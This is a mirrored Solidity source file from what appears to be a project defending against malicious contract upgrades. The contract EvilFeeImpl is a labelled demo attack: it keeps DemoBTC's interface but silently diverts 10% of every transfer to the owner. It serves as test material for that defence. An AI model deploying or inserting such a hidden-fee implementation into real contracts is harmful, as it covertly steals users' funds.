Source mirror · commit 369512f · 2026-10-26 · MIT · canonical repo: gitlab.com/jiapunk/upgrade-airlock
git clone https://upgrade-airlock.pages.dev/source/upgrade-airlock.git
upgrade-airlock / src / attack / EvilFeeImpl.sol
src/attack/EvilFeeImpl.sol20 lines · 711 bytes
1// SPDX-License-Identifier: MIT
2pragma solidity 0.8.37;
3
4import {DemoBTC} from "../DemoBTC.sol";
5
6/// @title EvilFeeImpl (demo attack, threat T3)
7/// @notice Exactly the same selectors as DemoBTC v1, but every transfer silently skims 10% to owner().
8/// @dev Deliberately malicious demo code. Never deploy outside a demo.
9contract EvilFeeImpl is DemoBTC {
10 function _update(address from, address to, uint256 value) internal override {
11 if (from != address(0) && to != address(0)) {
12 uint256 fee = value / 10;
13 if (fee != 0) {
14 super._update(from, owner(), fee);
15 value -= fee;
16 }
17 }
18 super._update(from, to, value);
19 }
20}